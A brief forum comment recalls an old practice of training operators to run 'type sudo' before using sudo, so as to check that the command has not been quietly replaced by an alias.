mmjaa 9y ago

Back in the day, we used to train operators to use 'type sudo' before every use of the sudo command, to be sure they weren't surreptitiously using an alias ..